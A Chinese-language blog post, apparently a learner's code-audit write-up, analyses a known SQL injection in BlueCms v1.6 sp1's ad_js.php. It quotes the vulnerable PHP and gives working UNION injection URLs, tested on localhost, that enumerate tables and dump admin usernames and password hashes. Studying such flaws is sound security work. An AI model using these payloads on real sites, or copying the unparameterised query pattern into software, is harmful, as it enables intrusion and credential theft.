学习了审计sql注入漏洞,当然要去实践一下,毕竟纸上得来终觉浅,要想学好代码审计就必须要实践。由于本小菜刚刚开始学习,所以也是找的已爆出的漏洞为例子,借用seay法师的代码审计工具进行审计。这里审计的是BlueCms v1.6 sp1的sql注入漏洞。

sql注入漏洞

将cms的源码导入到审计工具中,发现第一个注入在ad_js.php中,定位到的语句为:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

首先查看这个文件,发现这个文件包含了/include/common.inc.php,跟进这个文件查看,发现如果没有开启gpc,就对POST GET COOKIE REQUEST提交的参数使用deep_addslashes()函数进行过滤,代码如下:

if(!get_magic_quotes_gpc())
{
	$_POST = deep_addslashes($_POST);
	$_GET = deep_addslashes($_GET);
	$_COOKIES = deep_addslashes($_COOKIES);
	$_REQUEST = deep_addslashes($_REQUEST);
}

deep_addslashes函数在include/common.fun.php中,跟进文件,发现其实使用addslashes函数对参数进行的过滤。代码如下:

function deep_addslashes($str)
{
	if(is_array($str))
	{
		foreach($str as $key=>$val)
		{
			$str[$key] = deep_addslashes($val);
		}
	}
	else
	{
		$str = addslashes($str);
	}
	return $str;
}

再回看注入点,此处是不需要单引号或者双引号闭合的,这里又直接将参数拼接到sql语句中,所以就产生了注入漏洞。

参数$ad_id是由get方式传递的,代码如下:

//empty() 函数用于检查一个变量是否为空
//trim() 函数移除字符串两侧的空白字符或其他预定义字符
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

这里先判断参数是否为空,如果不为空再使用trim()函数过滤掉空白字符。查询结果是经过一系列判断后输出到了html的代码注释中,代码如下:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
	$ad_content = $ad['content'];
}
else
{
	if($ad['end_time'] < time())
	{
		$ad_content = $ad['exp_content'];
	}
	else
	{
		$ad_content = $ad['content'];
	}
}
$ad_content = str_replace('"', '\"',$ad_content);
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

综合以上的分析,可以利用union注入进行漏洞的验证。

获取列数
view-source:http://127.0.0.1/cms/bluecms_v1.6_sp1/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,7

这里可以在第七个字段获取数据。

获取表名
view-source:http://127.0.0.1/cms/bluecms_v1.6_sp1/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()

获取blue_admin表的字段
view-source:http://127.0.0.1/cms/bluecms_v1.6_sp1/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626c75655f61646d696e

获取用户名密码
view-source:http://127.0.0.1/cms/bluecms_v1.6_sp1/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(admin_name,0x3a,pwd)%20from%20blue_admin

第一次尝试写分析文章,思路可能比较乱,但只要坚持下来,一定可以做好的。